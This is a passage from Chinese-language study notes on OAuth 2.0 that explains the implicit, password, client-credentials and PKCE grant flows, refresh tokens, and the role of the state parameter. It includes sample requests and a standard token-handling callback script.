&lt;p&gt;authorization server对resource owner进行认证并获取授权信息，然后生成access token；&lt;&#x2F;p&gt;
&lt;p&gt;authorization server将access token加密（因token放在uri中，为了减少暴露风险，进行&quot;加密&quot;）后附在client请求时传来的redirect uri上作为uri hash参数；&lt;&#x2F;p&gt;
&lt;p&gt;user agent请求该redirect uri，页面中的js脚本会被执行，js脚本中的逻辑是从uri中提取出access token。&lt;&#x2F;p&gt;
&lt;p&gt;redirect uri对应的页面内容示例：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;GET &amp;#x2F;cb HTTP&amp;#x2F;1.1
  Host: client.example.org

  HTTP&amp;#x2F;1.1 200 OK
  Content-Type: text&amp;#x2F;html

  &amp;lt;script type=&amp;quot;text&amp;#x2F;javascript&amp;quot;&amp;gt;

  &amp;#x2F;&amp;#x2F; First, parse the query string
  var params = {}, postBody = location.hash.substring(1),
      regex = &amp;#x2F;([^&amp;amp;=]+)=([^&amp;amp;]*)&amp;#x2F;g, m;
  while (m = regex.exec(postBody)) {
    params[decodeURIComponent(m[1])] = decodeURIComponent(m[2]);
  }

  &amp;#x2F;&amp;#x2F; And send the token over to the server
  var req = new XMLHttpRequest();
  &amp;#x2F;&amp;#x2F; using POST so query isn&amp;#x27;t logged
  req.open(&amp;#x27;POST&amp;#x27;, &amp;#x27;https:&amp;#x2F;&amp;#x2F;&amp;#x27; + window.location.host +
                   &amp;#x27;&amp;#x2F;catch_response&amp;#x27;, true);
  req.setRequestHeader(&amp;#x27;Content-Type&amp;#x27;,
                       &amp;#x27;application&amp;#x2F;x-www-form-urlencoded&amp;#x27;);

  req.onreadystatechange = function (e) {
    if (req.readyState == 4) {
      if (req.status == 200) {
  &amp;#x2F;&amp;#x2F; If the response from the POST is 200 OK, perform a redirect
        window.location = &amp;#x27;https:&amp;#x2F;&amp;#x2F;&amp;#x27;
          + window.location.host + &amp;#x27;&amp;#x2F;redirect_after_login&amp;#x27;
      }
  &amp;#x2F;&amp;#x2F; if the OAuth response is invalid, generate an error message
      else if (req.status == 400) {
        alert(&amp;#x27;There was an error processing the token&amp;#x27;)
      } else {
        alert(&amp;#x27;Something other than 200 was returned&amp;#x27;)
      }
    }
  };
  req.send(postBody);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;与授权码方式类似，但是：&lt;&#x2F;p&gt;
&lt;p&gt;只需要发一次请求；&lt;&#x2F;p&gt;
&lt;p&gt;授权及申请token的过程都在浏览器执行，不需要client后端参与；&lt;&#x2F;p&gt;
&lt;p&gt;不需要client认证：请求时不需要提供client的认证信息（如clientSecret）而是依靠clientId redirectUri进行Client认证、依靠Owner username password进行Owner的认证和授权；&lt;&#x2F;p&gt;
&lt;p&gt;用于请求access token，标准规定不能签发refresh token；&lt;&#x2F;p&gt;
&lt;p&gt;token 出现在url中，比较不安全，这也是为何放在url hash中的原因（因为浏览器请求时不会将hash参数发给后端）&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;The implicit grant type is used to obtain access tokens (it does not support the issuance of refresh tokens) and is optimized for public clients known to operate a particular redirection URI.  These clients are typically implemented in a browser using a scripting language such as JavaScript.&lt;&#x2F;p&gt;
&lt;p&gt;The implicit grant type does not include client authentication, and relies on the presence of the resource owner and the registration of the redirection URI.&lt;&#x2F;p&gt;
&lt;p&gt;The access token may be exposed to the resource owner or other applications with access to the resource owner&#x27;s user-agent.&lt;&#x2F;p&gt;
&lt;p&gt;Developers should note that some user-agents do not support the inclusion of a fragment component in the HTTP &quot;Location&quot; response header field.  Such clients will require using other methods for redirecting the client than a 3xx redirection response -- for example, returning an HTML page that includes a &#x27;continue&#x27; button with an action linked to the redirection URI.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;此模式与第一种模式很类似，只不过只有一个步骤：&lt;&#x2F;p&gt;
&lt;p&gt;第三方应用通过浏览器将用户导向授权页面，以让用户选择将哪些资源授权给第三方应用访问、以及选择是否同意授权；当用户做好选择并同意授权后，授权服务生成token并通过指示浏览器重定向将token返回给第三方应用。&lt;&#x2F;p&gt;
&lt;p&gt;此模式相当于将第一种模式的第一步和第二步合在一起，但由于会将token放在url中返回，为了降低暴露风险，会对返回url中的参数进行编码，第三方应用需要进行相应解码。此外，此种模式不会返回refresh token。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;请求数据格式&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;p&gt;与第一种模式第一个步骤的一样，只不过&lt;code&gt;response_type&lt;&#x2F;code&gt;字段的值恒为&lt;code&gt;token&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;响应数据格式&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;p&gt;会将如下字段拼接后进行Base64 URL编码，然后附加到请求时所指定的redirect_uri后面作为hash参数（或称fragment参数）。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;参数&lt;&#x2F;th&gt;&lt;th&gt;类型&lt;&#x2F;th&gt;&lt;th&gt;说明&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;access_token&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;String&lt;&#x2F;td&gt;&lt;td&gt;授权服务签发的access token&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;token_type&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;String&lt;&#x2F;td&gt;&lt;td&gt;token类型，通常为&lt;code&gt;bearer&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;expires_in &lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;String&lt;&#x2F;td&gt;&lt;td&gt;access token的有效时长，单位为秒&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;scope &lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;String list&lt;&#x2F;td&gt;&lt;td&gt;access token所具有的权限&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;state &lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;String&lt;&#x2F;td&gt;&lt;td&gt;第三方应用自定义的任意状态数据，授权服务在响应请求时会将值原原本本返回&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;返回示例：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;https:&#x2F;&#x2F;www.test.com&#x2F;#YWNjZXNzX3Rva2VuPUJlYXJlciBleUpoeHgxJnNjb3BlPWdldF91c2VyX2luZm8mc3RhdGU9YWYmdG9rZW5fdHlwZT1iZWFyZXImZXhwaXJlc19pbj03MjAw&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;值&quot;access_token=Bearer eyJhxx1&amp;amp;scope=get_user_info&amp;amp;state=af&amp;amp;token_type=bearer&amp;amp;expires_in=7200&quot; 中的参数会以Base64 URL编码，并被附加到请求时指定的redirect_uri后面作为uri hash参数，最终得到上述结果。&lt;&#x2F;p&gt;
&lt;p&gt;第三方应用应进行相应的解码以获取到字段数据。&lt;&#x2F;p&gt;
&lt;p&gt;20230306注：此模式的初衷是应用于纯在浏览器内运行而没有后台（从而无法保存secret）服务的场景，因为该模式无须保存且不会暴露client的secret信息到URL上。&lt;em&gt;&lt;strong&gt;后来已经不推荐用 Implicit Grant，而是用 Authoriztion Code Grant with PKCE extension 替代&lt;&#x2F;strong&gt;&lt;&#x2F;em&gt;。关于后者，见后文。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Single-page apps (or browser-based apps) run entirely in the browser after loading the source code from a web page. Since the entire source code is available to the browser, they cannot maintain the confidentiality of a client secret, so the secret is not used in this case.&lt;&#x2F;p&gt;
&lt;p&gt;Note: Previously, it was recommended that browser-based apps use the &quot;Implicit&quot; flow, which returns an access token immediately in the redirect and does not have a token exchange step. In the time since the spec was originally written, the industry best practice has changed to recommend that the authorization code flow be used without the client secret. This provides more opportunities to create a secure flow, such as using the PKCE extension. Further reading: OAuth 2.0 Security Best Current Practice (ietf.org), OAuth 2.0 for Browser-Based Apps (ietf.org).&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;全局完整流程：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;oauth2-notes&#x2F;oauth2-full-flow.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-2-3-zi-yuan-yong-you-zhe-ping-zheng-shou-quan-resource-owner-password-credentials&quot;&gt;5.2.3 资源拥有者凭证授权（Resource Owner Password Credentials）&lt;&#x2F;h3&gt;
&lt;p&gt;Client等同于Resource Owner。&lt;&#x2F;p&gt;
&lt;p&gt;在这种模式中，用户必须把自己的密码给客户端，但是客户端不得储存密码。这通常用在用户对客户端高度信任的情况下，比如客户端是操作系统的一部分，或者由一个著名公司出品。而授权服务只有在无法用其他授权模式的情况下，才能考虑使用这种模式。&lt;&#x2F;p&gt;
&lt;p&gt;此种授权模式只有一个步骤： 资源拥有者（A平台的用户）事先将自己的用户名、密码告诉第三方应用，第三方应用持该信息向A请求资源，此时对A来说，第三方应用相当于A的用户。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;请求数据格式&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;参数&lt;&#x2F;th&gt;&lt;th&gt;类型&lt;&#x2F;th&gt;&lt;th&gt;是否必须&lt;&#x2F;th&gt;&lt;th&gt;说明&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;grant_type&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;String&lt;&#x2F;td&gt;&lt;td&gt;yes&lt;&#x2F;td&gt;&lt;td&gt;值恒为&lt;code&gt;password&lt;&#x2F;code&gt;，表示resource owner password模式&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;scope&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;String list&lt;&#x2F;td&gt;&lt;td&gt;yes&lt;&#x2F;td&gt;&lt;td&gt;第三方应用期望申请的权限列表。权限列表由A定义。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;username &lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;String&lt;&#x2F;td&gt;&lt;td&gt;yes&lt;&#x2F;td&gt;&lt;td&gt;资源拥有者的用户名&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;password &lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;String&lt;&#x2F;td&gt;&lt;td&gt;yes&lt;&#x2F;td&gt;&lt;td&gt;资源拥有者的密码&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;client_id&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;String&lt;&#x2F;td&gt;&lt;td&gt;yes&lt;&#x2F;td&gt;&lt;td&gt;第三方应用的id，第三方应用在A注册时得到该值&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;示例：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;{
    &amp;quot;grant_type&amp;quot;:&amp;quot;password&amp;quot;,
    &amp;quot;client_id&amp;quot;:&amp;quot;4af6d97c97744c13&amp;quot;,
    &amp;quot;username&amp;quot;:&amp;quot;superadmin01&amp;quot;,
    &amp;quot;password&amp;quot;:&amp;quot;SenseStudy123&amp;quot;,
    &amp;quot;scope&amp;quot;:[&amp;quot;all_resource&amp;quot;]
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;响应数据格式&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;p&gt;与第一种授权模式中第二个步骤返回的数据格式一样。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-2-4-ke-hu-duan-ping-zheng-shou-quan-client-credentials&quot;&gt;5.2.4 客户端凭证授权（Client Credentials）&lt;&#x2F;h3&gt;
&lt;p&gt;客户端以自己的名义而不是以用户的名义向&quot;服务提供商&quot;进行认证，即可认为客户端自己就是资源的拥有者。严格地说，客户端模式并不属于OAuth框架所要解决的问题。在这种模式中，用户直接向客户端注册，客户端以自己的名义要求&quot;服务提供商&quot;提供服务，其实不存在授权问题。用于请求access token，标准规定不能签发refresh token。&lt;&#x2F;p&gt;
&lt;p&gt;此种授权模式只有一个步骤： 第三方应用带着事先在A注册的凭证信息向A请求授权，A只要校验凭证有效就向第三方应用签发token。此种授权模式下只要校验凭证有效就发放token，而无需经过资源拥有者同意，故比较危险，只应被用于授予信任的自己公司的应用！最好对应用进行审核。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;请求数据格式&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;参数&lt;&#x2F;th&gt;&lt;th&gt;类型&lt;&#x2F;th&gt;&lt;th&gt;是否必须&lt;&#x2F;th&gt;&lt;th&gt;说明&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;grant_type&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;String&lt;&#x2F;td&gt;&lt;td&gt;yes&lt;&#x2F;td&gt;&lt;td&gt;值恒为&lt;code&gt;clientcredentials&lt;&#x2F;code&gt;，表示client credentials模式&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;scope&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;String list&lt;&#x2F;td&gt;&lt;td&gt;yes&lt;&#x2F;td&gt;&lt;td&gt;第三方应用期望申请的权限列表。权限列表由A定义。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;client_id &lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;String&lt;&#x2F;td&gt;&lt;td&gt;yes&lt;&#x2F;td&gt;&lt;td&gt;第三方应用的id，第三方应用在A注册时得到该值&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;client_secret &lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;String&lt;&#x2F;td&gt;&lt;td&gt;yes&lt;&#x2F;td&gt;&lt;td&gt;第三方应用的secret，第三方应用在A注册时得到该值&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;示例：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;{
    &amp;quot;grant_type&amp;quot;:&amp;quot;password&amp;quot;,
    &amp;quot;client_id&amp;quot;:&amp;quot;4af6d97c97744c13&amp;quot;,
    &amp;quot;client_secret&amp;quot;:&amp;quot;524e62c792be4ea38adc5eaace065afc&amp;quot;,
    &amp;quot;scope&amp;quot;:[&amp;quot;all_resource&amp;quot;]
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;响应数据格式&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;p&gt;与第一种授权模式中第二个步骤返回的数据格式类似，只不过此种授权模式不会反回refresh token字段。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;authorization-code-grant-with-pkce&quot;&gt;Authorization Code Grant with PKCE&lt;&#x2F;h3&gt;
&lt;p&gt;（详情可参阅文章 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;aaronparecki.com&#x2F;oauth-2-simplified&#x2F;&quot;&gt;oauth2-simplified&lt;&#x2F;a&gt; ）&lt;&#x2F;p&gt;
&lt;p&gt;Authoriztion Code Grant with &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;oauth.net&#x2F;2&#x2F;pkce&#x2F;&quot;&gt;PKCE&lt;&#x2F;a&gt;（Proof Key for Code Exchange）：Authorization Code Grant 的加强，而不是替代。主要用于提高code交换时的安全性，Authorization Code Grant with PKCE 授权模式通常用于替代 Implicit Grant，适用于 browser-base app 场景。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;PKCE (RFC 7636) is an extension to the Authorization Code flow to prevent CSRF and authorization code injection attacks.&lt;&#x2F;p&gt;
&lt;p&gt;PKCE is not a replacement for a client secret, and PKCE is recommended even if a client is using a client secret.&lt;&#x2F;p&gt;
&lt;p&gt;Note: Because PKCE is not a replacement for client authentication, it does not allow treating a public client as a confidential client.&lt;&#x2F;p&gt;
&lt;p&gt;PKCE was originally designed to protect the authorization code flow in mobile apps, but its ability to prevent authorization code injection makes it useful for every type of OAuth client, even web apps that use a client secret.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Authoriztion Code Grant with PKCE extension 的流程与Authorization Code Grant 的几乎一样，其解决的是：在纯浏览器（无后台服务）页面的场景下，不传clientSecret，如何确保code安全传输而不被冒用的问题。其原理很简单，引入了三个概念：&lt;&#x2F;p&gt;
&lt;p&gt;code_verifier：43-128个字符的随机串&lt;&#x2F;p&gt;
&lt;p&gt;code_challenge ：url-safe_base64( sha256-hash( codeVerifier  )) 的值&lt;&#x2F;p&gt;
&lt;p&gt;code_challenge_method：hash 方法&lt;&#x2F;p&gt;
&lt;p&gt;与Authorization Code Grant 一样有两个流程，只不过额外传了上述信息：&lt;&#x2F;p&gt;
&lt;p&gt;第一步（申请code）请求时额外带上 code_challenge、code_challenge_method，服务端额外保存这两个信息&lt;&#x2F;p&gt;
&lt;p&gt;第二步（申请token）请求时不带client_secret，但带上code_verifier，服务端根据code_challenge_method计算哈希值并做base64转换看结果是否与code_challenge 一致，不一致则不认该code。&lt;&#x2F;p&gt;
&lt;p&gt;可见，这种模式是借助了上述三个信息来校验code的有效性，而原始的Authorization Code Grant 模式是靠client Id、clientSecret校验的。另外，此模式校验code有效性的原理与HTTPS中校验服务端公钥的有效性本质上也是一样的，再次体会到“万变不离其宗”。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;5-3-token&quot;&gt;5.3 Token&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;5-3-1-access-token-refresh-token&quot;&gt;5.3.1 Access Token &amp;amp; Refresh Token&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;Access Token&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Access tokens are credentials used to access protected resources. Tokens represent specific scopes and durations of access, granted by the resource owner, and enforced by the resource server and authorization server. The token may denote an identifier used to retrieve the authorization information or may self-contain the authorization information.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Refresh Token&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Refresh tokens are credentials used to obtain new access tokens. Refresh tokens are issued to the client by the authorization server and are used to obtain a new access token when the current access token becomes invalid or expires, or to obtain additional access tokens with identical or narrower scope. OAuth 2.0 中Refresh Token是可选的，即并不一定要生成并返回给Client。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;oauth2-notes&#x2F;oauth2-refresh-token-flow.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;oauth2-notes&#x2F;oauth2-refresh-token-flow-2.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-3-2-shen-qing-xin-de-access-token&quot;&gt;5.3.2 申请新的 access token&lt;&#x2F;h3&gt;
&lt;p&gt;当第三方服务申请到的access token到期时，其可以带着refresh token向授权服务申请延长access token的有效期。 由于需要refresh token参数，因此此功能只有第一、三种授权模式下可以使用。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;请求数据格式&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;参数&lt;&#x2F;th&gt;&lt;th&gt;类型&lt;&#x2F;th&gt;&lt;th&gt;是否必须&lt;&#x2F;th&gt;&lt;th&gt;说明&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;grant_type&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;String&lt;&#x2F;td&gt;&lt;td&gt;yes&lt;&#x2F;td&gt;&lt;td&gt;值恒为&lt;code&gt;refresh_token&lt;&#x2F;code&gt;，表示申请更新token&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;scope&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;String list&lt;&#x2F;td&gt;&lt;td&gt;yes&lt;&#x2F;td&gt;&lt;td&gt;第三方应用期望申请的权限列表。权限列表由A定义。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;client_id &lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;String&lt;&#x2F;td&gt;&lt;td&gt;yes&lt;&#x2F;td&gt;&lt;td&gt;第三方应用的id，第三方应用在A注册时得到该值&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;client_secret &lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;String&lt;&#x2F;td&gt;&lt;td&gt;yes&lt;&#x2F;td&gt;&lt;td&gt;第三方应用的secret，第三方应用在A注册时得到该值&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;refresh_token&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;String&lt;&#x2F;td&gt;&lt;td&gt;yes&lt;&#x2F;td&gt;&lt;td&gt;第三方应用之前申请access token时授权服务同时签发的refresh token&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;示例：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;{
    &amp;quot;grant_type&amp;quot;:&amp;quot;refresh_token&amp;quot;,
    &amp;quot;client_id&amp;quot;:&amp;quot;4af6d97c97744c13&amp;quot;,
    &amp;quot;client_secret&amp;quot;:&amp;quot;524e62c792be4ea38adc5eaace065afc&amp;quot;,
    &amp;quot;scope&amp;quot;:[&amp;quot;all_resource&amp;quot;],
    &amp;quot;refresh_token&amp;quot;:&amp;quot;Bearer eyJhxx2&amp;quot;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;响应数据格式&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;p&gt;与第四种授权模式的返回相同。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;5-4-ji-chong-shou-quan-mo-shi-de-bi-jiao-huo-zong-jie&quot;&gt;5.4 几种授权模式的比较或总结&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] OAuth 笔记信息图：有 1.0&#x2F;2.0&#x2F;2.1 三个版本，共 4 种授权方式。核心授权码流程：客户端携 client_id 跳转授权服务器→登录表单→用户提交账密→按 scope 授权→携 authorization_code 重定向回 redirect_uri→用 code+client_secret 换 token→凭 token 访问资源服务器。隐式流程直接返回 token；客户端凭证流程无用户交互；密码流程账密直交授权服务器；token 均带过期时间与 refresh_token。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;guan-yu-ying-yong-zhu-ce&quot;&gt;关于应用注册&lt;&#x2F;h3&gt;
&lt;p&gt;不管哪种授权方式，第三方应用申请令牌之前，都必须先到授权服务器备案，说明自己的身份，然后会拿到两个凭证信息：客户端 ID（client ID）和客户端密钥（client secret）。这是为了防止令牌被滥用，没有备案过的第三方应用，是不会拿到令牌的。实际上这就是第三方应用来我们系统的 注册过程。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;guan-yu-ren-zheng-yu-shou-quan&quot;&gt;关于认证与授权&lt;&#x2F;h3&gt;
&lt;p&gt;理论上，不管哪种授权模式，Client请求token时候都需要三种credential：Owner认证、Owner授权、Client认证。实际上，有些信息可以省略或间接得到，而不用显式提交。&lt;&#x2F;p&gt;
&lt;p&gt;第一种授权模式：根据Owner输入的username password进行Owner认证和授权（第一步），并生成了授权码，生成的授权码代表了Owner认证和授权的信息；根据请求时带着的clientId clientSecret进行Client认证、校验授权码相当于间接进行了Owner认证和授权校验（第二步）。&lt;&#x2F;p&gt;
&lt;p&gt;第二种授权模式：根据Owner输入的username password进行Owner认证和授权；但没传clientSecret，而是通过clientId和注册的redirectUri进行Client认证。 但这两参数都是在url中，所以很容易泄露从而被伪造请求，故安全性较低。&lt;&#x2F;p&gt;
&lt;p&gt;第三种授权模式：根据Client请求时带着的Owner的用户名密码进行Owner认证和授权；由于Client相当于是Resource Owner故不需要进行Client认证（也可认为是通过Owner认证间接进行了Client认证），即只要所传的用户名密码正确就都授权。&lt;&#x2F;p&gt;
&lt;p&gt;第四种授权模式：根据带着的Client的clientId clientSecret进行Client认证；由于Client自身就是资源的拥有者故无需进行Owner认证和授权（也可认为是通过Client认证间接进行了Owner认证和授权），即只要所传的clientid clientSecret正确就都授权。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;guan-yu-shi-fou-you-resource-ownercan-yu-shou-quan&quot;&gt;关于是否有Resource Owner参与授权&lt;&#x2F;h3&gt;
&lt;p&gt;1、2、3种授权模式有（1、2直接参与，3通过提供用户名密码间接参与），4则无。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;guan-yu-endpoint&quot;&gt;关于Endpoint&lt;&#x2F;h3&gt;
&lt;p&gt;三种Endpoint：authorization endpoint、token endpoint、redirection endpoint。前两种为授权服务器的、最后者为Client的。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;guan-yu-hui-diao-di-zhi-zhong-ding-xiang-de-kua-yu-wen-ti&quot;&gt;关于回调地址重定向的跨域问题&lt;&#x2F;h3&gt;
&lt;p&gt;Client需要将授权服务器设为可信的，具体而言，对于前两种方式中的重定向步骤中，Client需要设置以允许来自Authorization Server的跨域请求，否则返回302带有Location Header时会报跨域错误。当然，也可以不按标准规定进行重定向（标准中说明允许如是做，见 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;tools.ietf.org&#x2F;html&#x2F;rfc6749#section-1.7&quot;&gt;https:&#x2F;&#x2F;tools.ietf.org&#x2F;html&#x2F;rfc6749#section-1.7&lt;&#x2F;a&gt;），如：可以自定义字段来告知前端代码进行重定向以绕过上述跨域限制。&lt;&#x2F;p&gt;
&lt;p&gt;&quot;While the examples in this specification show the use of the HTTP 302 status code, any other method available via the user-agent to accomplish this redirection is allowed and is considered to be an implementation detail.&quot;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;dai-shou-quan-ye-mian-de-shou-quan-mo-shi-1-2chong-zhong-de-ji-ge-wei-shen-me&quot;&gt;带授权页面的授权模式（1、2种）中的几个为什么&lt;&#x2F;h3&gt;
&lt;p&gt;state参数的作用&lt;&#x2F;p&gt;
&lt;p&gt;用来防止CSRF：因code grant模式中，第一步请求返回重定向后client会发起第二步请求（带着code发起对authorization server的token请求）。若无state则可任意伪造对该redirect uri的请求以触发该第二步过程，有了state后就可防止了：client会比较state与自己存的不一样，从而居家发起第二步请求。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;state —— An opaque value used by the client to maintain state between the request and callback.  The authorization server includes this value when redirecting the user-agent back to the client.&lt;&#x2F;p&gt;
&lt;p&gt;You should first compare this state value to ensure it matches the one you started with. You can typically store the state value in a cookie or session, and compare it when the user comes back. This helps ensure your redirection endpoint isn&#x27;t able to be tricked into attempting to exchange arbitrary authorization codes.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;第三方应用请求token时，服务端有两种返回token的方式，可以根据第三方应用是否提供回调地址判断：&lt;&#x2F;p&gt;
&lt;p&gt;1、标准。服务端生成token后调用第三方应用请求token时指定的回调地址，以将token传给第三方应用。第三方应用在该地址handler内实现自己的逻辑，如将token保持在本地、调用资源服务器接口获取资源等。&lt;&#x2F;p&gt;
&lt;p&gt;2、不标准（但Github OAuth采用此）：第三方也可不提供回调地址，直接在请求返回后直接拿到了token，然后实现自己的上述后续逻辑。&lt;&#x2F;p&gt;
